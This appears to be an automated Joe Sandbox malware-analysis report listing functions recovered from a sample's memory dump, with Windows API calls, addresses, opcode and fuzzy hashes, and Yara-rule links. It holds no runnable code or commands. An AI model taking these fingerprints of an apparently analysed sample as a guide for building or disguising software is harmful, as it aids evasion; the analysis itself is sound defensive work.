API ID: CriticalSection$DeleteLeave$CloseEnterHandle$free
String ID:
API String ID: 1444599582-0
Opcode ID: fcd8bba55b5a355703f8be96fb0de4e646de8eb1fbf85c44afb5dbba05d611d5
Instruction ID: 82f2026ab1bf506a205bfd903042df4f98f4478d94edec800da815e1a81adf51
Opcode Fuzzy Hash: fcd8bba55b5a355703f8be96fb0de4e646de8eb1fbf85c44afb5dbba05d611d5
Instruction Fuzzy Hash: AE413B70A047189FCB20FF69C884AEABBF4FF89320F01492DE89597351D778A881DB51

Function 00F91359 Relevance: 12.2, APIs: 8, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00F8FD42: calloc.MSVCRT ref: 00F8FD6F

CreateEventA.KERNEL32 ref: 00F913B8
Sleep.KERNEL32 ref: 00F913D7
_beginthreadex.MSVCRT ref: 00F9147A
CloseHandle.KERNEL32 ref: 00F91494
SetThreadPriority.KERNEL32 ref: 00F914ED
ResetEvent.KERNEL32(00000000,00000000), ref: 00F914FB
CloseHandle.KERNEL32(00000000), ref: 00F9151B
Sleep.KERNEL32(00000000), ref: 00F91531

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CloseEventHandleSleep$CreatePriorityResetThread_beginthreadexcalloc
String ID:
API String ID: 1890343903-0
Opcode ID: c61808fdadac544bcf40170ff153cd06c65932eda12a1cf79cff1bb9b7910109
Instruction ID: 750d7ec2fdd36b0336da050a8c0fe04e257fc4120e03912ebd714cf68a41bffb
Opcode Fuzzy Hash: c61808fdadac544bcf40170ff153cd06c65932eda12a1cf79cff1bb9b7910109
Instruction Fuzzy Hash: 675118B1A04B12DFDB11EF69C88466ABBF4FF49320F018639E859C7650D734E850DB91

Function 00F8E89E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 209synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,00FF8A30,76ECFFB0,?,00F8EB84,00000000), ref: 00F8E8FA
ResetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,00FF8A30,76ECFFB0,?,00F8EB84,00000000), ref: 00F8E96F
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,00FF8A30,76ECFFB0), ref: 00F8EB09

Part of subcall function 00F8F468: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,00F8EB84,00000001,00000000,?,00F8EAC1), ref: 00F8F4B5

WaitForSingleObject.KERNEL32 ref: 00F8EA6D

Part of subcall function 00F90D65: ResetEvent.KERNEL32(00F8EB84,00000000,?,00F8EB25,?,?,?,?,?,?,?,?,?,00FF8A30,76ECFFB0), ref: 00F90DC0

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,00FF8A30,76ECFFB0,?,00F8EB84,00000000), ref: 00F8E9B2

Part of subcall function 00F8F468: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,00F8EB84,00000001,00000000,?,00F8EAC1), ref: 00F8F48E

Strings

(, xrefs: 00F8E9F7

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: ObjectSingleWait$EventReset
String ID: (
API String ID: 466820088-3887548279
Opcode ID: 5f5bf23c8d16592c5d162161ec0be1c36e20a2a44346f3ec92c9e34242015d6d
Instruction ID: 866165a775db0730bfd770e788cfe62dc0e6d453899d6c6a06057970e682c013
Opcode Fuzzy Hash: 5f5bf23c8d16592c5d162161ec0be1c36e20a2a44346f3ec92c9e34242015d6d
Instruction Fuzzy Hash: B9618372E083168BEB347B6588843FEB6E5BF45B20F15843AEC96A7240D679CC44B752

Function 00F908CB Relevance: 10.6, APIs: 7, Instructions: 109sleepthreadCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 00F9090C
GetCurrentThreadId.KERNEL32 ref: 00F90914

Part of subcall function 00F8F770: GetCurrentThreadId.KERNEL32 ref: 00F8F79E

_setjmp3.MSVCRT ref: 00F90937
CloseHandle.KERNEL32 ref: 00F909AF
TlsSetValue.KERNEL32(00000000), ref: 00F909F3
Sleep.KERNEL32(?,?), ref: 00F90A33
_endthreadex.MSVCRT ref: 00F90A3F

Part of subcall function 00F8F770: SetEvent.KERNEL32(00000000,00000001,?,00F8FEE6,?,?,?,00000000,00000000,?,00F8FF03), ref: 00F8F7D4

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CurrentThreadValue$CloseEventHandleSleep_endthreadex_setjmp3
String ID:
API String ID: 291999405-0
Opcode ID: 376533a1d72527a0ace8d09295c4ce79b3666018be3c6cbe23f7a2fdad7b8e86
Instruction ID: 9766213b4b5b60d1ff3cd5ff48d71d91e5c17cedaffbc020b1fcc85d310cb879
Opcode Fuzzy Hash: 376533a1d72527a0ace8d09295c4ce79b3666018be3c6cbe23f7a2fdad7b8e86
Instruction Fuzzy Hash: D741B6B49043098FEB50BFA4C985A6EBBF4AF04304F01886DE8949B312DB38D845EB52

Function 00F90B89 Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00F8FEF5: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00F90524), ref: 00F8FF0B
Part of subcall function 00F8FEF5: GetCurrentThreadId.KERNEL32 ref: 00F8FF34
Part of subcall function 00F8FEF5: CreateEventA.KERNEL32 ref: 00F8FF52
Part of subcall function 00F8FEF5: GetCurrentThread.KERNEL32 ref: 00F8FF82
Part of subcall function 00F8FEF5: DuplicateHandle.KERNELBASE ref: 00F8FFB3
Part of subcall function 00F8FEF5: abort.MSVCRT(00000000,00000000), ref: 00F8FFC0
Part of subcall function 00F8FEF5: GetThreadPriority.KERNEL32(00000000,00000000), ref: 00F8FFCB
Part of subcall function 00F8FEF5: TlsSetValue.KERNEL32 ref: 00F8FFF2

longjmp.MSVCRT ref: 00F90BC0
TlsGetValue.KERNEL32(?,0000001C,?,00F90D0E,?,?,00000000,?,00F90DD4,00F8EB84,00000000,?,00F8EB25), ref: 00F90BCE
CloseHandle.KERNEL32(?,?,00F90D0E,?,?,00000000,?,00F90DD4,00F8EB84,00000000,?,00F8EB25), ref: 00F90BF1
CloseHandle.KERNEL32(?,?,00F90D0E,?,?,00000000,?,00F90DD4,00F8EB84,00000000,?,00F8EB25), ref: 00F90C13
CloseHandle.KERNEL32(?,?,00F90D0E,?,?,00000000,?,00F90DD4,00F8EB84,00000000,?,00F8EB25), ref: 00F90C31
TlsSetValue.KERNEL32(?,?,?,00F90D0E,?,?,00000000,?,00F90DD4,00F8EB84,00000000,?,00F8EB25), ref: 00F90C52
_endthreadex.MSVCRT(?,?,00F90D0E,?,?,00000000,?,00F90DD4,00F8EB84,00000000,?,00F8EB25), ref: 00F90C5D

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: HandleValue$CloseThread$Current$CreateDuplicateEventPriority_endthreadexabortlongjmp
String ID:
API String ID: 2786978526-0
Opcode ID: 98f28621ba2000e41615c2d0f5a251fb49595ee80a7e501562e363619bda101e
Instruction ID: a2f6efe3033ffd9702c1eadcb4dbb6f2914c997de6ea0bd7caa517aefcefe65f
Opcode Fuzzy Hash: 98f28621ba2000e41615c2d0f5a251fb49595ee80a7e501562e363619bda101e
Instruction Fuzzy Hash: D6211DB0A05315DFEF11AF78D98872A7FE8EF08350F058468E984CB206EB79D840DB91

Function 00F91C2A Relevance: 10.5, APIs: 7, Instructions: 48COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00F91C3E
GetCurrentProcessId.KERNEL32 ref: 00F91C50
OpenProcess.KERNEL32 ref: 00F91C6B
GetLastError.KERNEL32 ref: 00F91C78
_errno.MSVCRT ref: 00F91C8D
CloseHandle.KERNEL32 ref: 00F91C9D
_errno.MSVCRT ref: 00F91CA8

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: _errno$Process$CloseCurrentErrorHandleLastOpen
String ID:
API String ID: 1444142086-0
Opcode ID: 96e18c913901d2e40f198052ad998ec008fc66563ce7ee246069f89286f603f9
Instruction ID: 8236dcaa5c42f0149ee32a2669866018cf749b7c8b77e0ec80c684345c7164a8
Opcode Fuzzy Hash: 96e18c913901d2e40f198052ad998ec008fc66563ce7ee246069f89286f603f9
Instruction Fuzzy Hash: BA018071944312DFEF326FA8D8883AD7BA4FF44321F004339E99587254DB7A9840DBA2

Function 00F864D0 Relevance: 9.1, APIs: 6, Instructions: 109memoryCOMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00F864F1
vfprintf.MSVCRT ref: 00F86510
abort.MSVCRT(?,?,00905A4D,?,00F8682F), ref: 00F86515
VirtualQuery.KERNEL32 ref: 00F865A6
VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,01008894,00000000,00905A4D), ref: 00F86616
GetLastError.KERNEL32 ref: 00F86623

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfputsvfprintf
String ID:
API String ID: 4170836266-0
Opcode ID: c8df9324113950b71f6ca3f8960285b66f271dcff8aad2bef50a641a8ef35d23
Instruction ID: 812cb91acbfb66db5a7f7a7910ba31b201f66fd7c8a28b424df2198e89b07052
Opcode Fuzzy Hash: c8df9324113950b71f6ca3f8960285b66f271dcff8aad2bef50a641a8ef35d23
Instruction Fuzzy Hash: 0C413771908300CFCB14EF68D585699FBE5EF84324F45CA2DE8898B256EB38E8419B52

Function 00F8D680 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00F8D692
GetProcAddress.KERNEL32 ref: 00F8D6AA
LoadLibraryW.KERNEL32 ref: 00F8D6B9
GetProcAddress.KERNEL32 ref: 00F8D6CB

Strings

n", xrefs: 00F8D69F

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: n"
API String ID: 384173800-1875318066
Opcode ID: 1a076642768866057439f8ac6c95160507182fdf057a1d91b0726f374424d579
Instruction ID: 7274f34c2038056206f99eb9dd542b7d361e3432181fd9834591f6513e1e2183
Opcode Fuzzy Hash: 1a076642768866057439f8ac6c95160507182fdf057a1d91b0726f374424d579
Instruction Fuzzy Hash: 40F062F1408318EFE7116FA8D84846A7BF8FF44754F01441DE4C8C7204E2355840DB91

Function 00F8FE0A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00F8FE2E
OutputDebugStringA.KERNEL32 ref: 00F8FE53
abort.MSVCRT(00000000), ref: 00F8FE5A

Strings

5, xrefs: 00F8FE40
b#, xrefs: 00F8FE34

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CurrentDebugOutputStringThreadabort
String ID: 5$b#
API String ID: 3512971422-744047076
Opcode ID: 33e52017ad38cce3bcd9317c39e169e3ae96925400c38bd3424b0fcf25bee44d
Instruction ID: 67d99450a56199a973e8eecc22455da488d83237e4a3c63afa0e45301cd99fa6
Opcode Fuzzy Hash: 33e52017ad38cce3bcd9317c39e169e3ae96925400c38bd3424b0fcf25bee44d
Instruction Fuzzy Hash: A6F05E71505744EFCB11BF78DC8849EBBF8FB44764F40892CE59987241EA395209CB52

Function 00F876EC Relevance: 7.6, APIs: 5, Instructions: 120COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00F8776D
abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,00FF79A6), ref: 00F87778
realloc.MSVCRT ref: 00F877A2
malloc.MSVCRT ref: 00F877F6
malloc.MSVCRT ref: 00F87814

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: malloc$abortcallocrealloc
String ID:
API String ID: 2175960609-0
Opcode ID: 8dd278985668aa19019570d0fcce403abdd732ff0241e03d085c0d20924f5b8d
Instruction ID: 8270d17d73db528d041dd49c547c291ba99d47c0e824d70d43047cc42fcb45e7
Opcode Fuzzy Hash: 8dd278985668aa19019570d0fcce403abdd732ff0241e03d085c0d20924f5b8d
Instruction Fuzzy Hash: 98416C75A083058FDB10FF69C48469DBBE1FF88350B668529E8889B311EB38EC05DF81

Function 00F908C1 Relevance: 7.6, APIs: 5, Instructions: 98sleepthreadCOMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32 ref: 00F9090C
GetCurrentThreadId.KERNEL32 ref: 00F90914

Part of subcall function 00F8F770: GetCurrentThreadId.KERNEL32 ref: 00F8F79E

_setjmp3.MSVCRT ref: 00F90937
CloseHandle.KERNEL32 ref: 00F909AF
TlsSetValue.KERNEL32(00000000), ref: 00F909F3
Sleep.KERNEL32(?,?), ref: 00F90A33
_endthreadex.MSVCRT ref: 00F90A3F

Part of subcall function 00F8F770: SetEvent.KERNEL32(00000000,00000001,?,00F8FEE6,?,?,?,00000000,00000000,?,00F8FF03), ref: 00F8F7D4

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CurrentThreadValue$CloseEventHandleSleep_endthreadex_setjmp3
String ID:
API String ID: 291999405-0
Opcode ID: bdc0d454983537cb5cfd0747a665ca31a45f7cdba3fe06134bdd2d604b7a5255
Instruction ID: 5b2b544d6e29f9b3a1094049a7e8859295a5ef84f0daa7d92036537e4a64b847
Opcode Fuzzy Hash: bdc0d454983537cb5cfd0747a665ca31a45f7cdba3fe06134bdd2d604b7a5255
Instruction Fuzzy Hash: 0741AAB49043098FEB40EFA4C98596EBBF4EF04304F01846DE994DB312EB38E845EB52

Function 00F868F0 Relevance: 7.6, APIs: 5, Instructions: 90COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00F86958
signal.MSVCRT ref: 00F86994
signal.MSVCRT ref: 00F869AD
signal.MSVCRT ref: 00F869D7
signal.MSVCRT ref: 00F869F0

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 9565ce6d9e52a97375bbd3db1dda8ce895904d44578248b65a87100968fa59b5
Instruction ID: bd942c3cb45694b6164898cd397032bad8d5d7af3ae54c19b5b6dfda72da87cb
Opcode Fuzzy Hash: 9565ce6d9e52a97375bbd3db1dda8ce895904d44578248b65a87100968fa59b5
Instruction Fuzzy Hash: 0B3121729082008AEB247F64C5413FEBAD4AB01374F15C91AE9C5DB2D1E67EC8C4B757

Function 00F8F5F0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4121400a95c4089c06f3a718c9c507c15c4e1cc9df8e4204ba4e6ee61e21f154
Instruction ID: 2e74673314603a5174038f5c1ec9c5ca71522db5a9b7172be749b090a41eccb3
Opcode Fuzzy Hash: 4121400a95c4089c06f3a718c9c507c15c4e1cc9df8e4204ba4e6ee61e21f154
Instruction Fuzzy Hash: 5E313C30E04215CFDB25AF69C5447AA77E1EB84324F24867AE455CB225FB39C848EB52

Function 00F8E484 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00000001,?,?,00F8EFB3,00000000), ref: 00F8E497
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,00000001,?,?,00F8EFB3,00000000), ref: 00F8E4CD
LeaveCriticalSection.KERNEL32(00000000), ref: 00F8E4E6

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: CriticalSection$Leave$Enter
String ID:
API String ID: 2978645861-0
Opcode ID: c68b545af0c4c2226034914b57553e3e53e8f71d0f91578bcad835fb72295ba0
Instruction ID: 5ac9f203a09edaa5d9ed14c15b964ed003af629ce6c173737f05d09aa8781b36
Opcode Fuzzy Hash: c68b545af0c4c2226034914b57553e3e53e8f71d0f91578bcad835fb72295ba0
Instruction Fuzzy Hash: 35115B71B043159FCB01EF6DDC846AEBBE8EF48714F008629F598C7310E639D8419B91

Function 00F9B9E4 Relevance: 7.6, APIs: 5, Instructions: 68stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00F9BA1E
strlen.MSVCRT ref: 00F9BA29
setlocale.MSVCRT ref: 00F9BA5D
strftime.MSVCRT ref: 00F9BA7D
setlocale.MSVCRT ref: 00F9BA91

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: setlocale$strftimestrlen
String ID:
API String ID: 2773559992-0
Opcode ID: aaed20a993bf99256fb15100fed286609165b10ea755229ade8ec224886f0b03
Instruction ID: 22f717fb67e0e584bd1c9b7854d36e6f9b65b1447c4ec99b67db7dd1b89b7ac6
Opcode Fuzzy Hash: aaed20a993bf99256fb15100fed286609165b10ea755229ade8ec224886f0b03
Instruction Fuzzy Hash: B43180B4D083089FCB50EFA8D58569DBBF0EF48310F15882EE898E7301E7389941DB56

Function 00F9BCA4 Relevance: 7.6, APIs: 5, Instructions: 68stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00F9BCDE
strlen.MSVCRT ref: 00F9BCE9
setlocale.MSVCRT ref: 00F9BD1D
wcsftime.MSVCRT ref: 00F9BD3D
setlocale.MSVCRT ref: 00F9BD51

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: setlocale$strlenwcsftime
String ID:
API String ID: 64219055-0
Opcode ID: 5d1a6d227287302e130739d7495dcdc6c27b4c60d6159ae03ee869d076a3f428
Instruction ID: 10d87e5fe2803a47b589fa18647f807a8d8e2d9dbaa2a4f650d544f8392a44d7
Opcode Fuzzy Hash: 5d1a6d227287302e130739d7495dcdc6c27b4c60d6159ae03ee869d076a3f428
Instruction Fuzzy Hash: 493160B4D087089FCB54EFA9D5856ADBBF0FF48310F11882AE898E7311E7389941DB56

Function 00FF431C Relevance: 7.6, APIs: 5, Instructions: 54stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 00FF4334
strcmp.MSVCRT ref: 00FF4346
strlen.MSVCRT ref: 00FF4352
setlocale.MSVCRT ref: 00FF437D
setlocale.MSVCRT ref: 00FF43B3

Memory Dump Source

Source File: 00000005.00000002.3003727640.0000000000F81000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000005.00000002.3003594461.0000000000F80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004190555.0000000000FFC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004490551.0000000000FFE000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3004884322.0000000001009000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.3005445204.000000000100D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_f80000_U08CYPEDK3U9ZW3NZ4R.jbxd

Similarity

API ID: setlocale$strcmpstrlen
String ID:
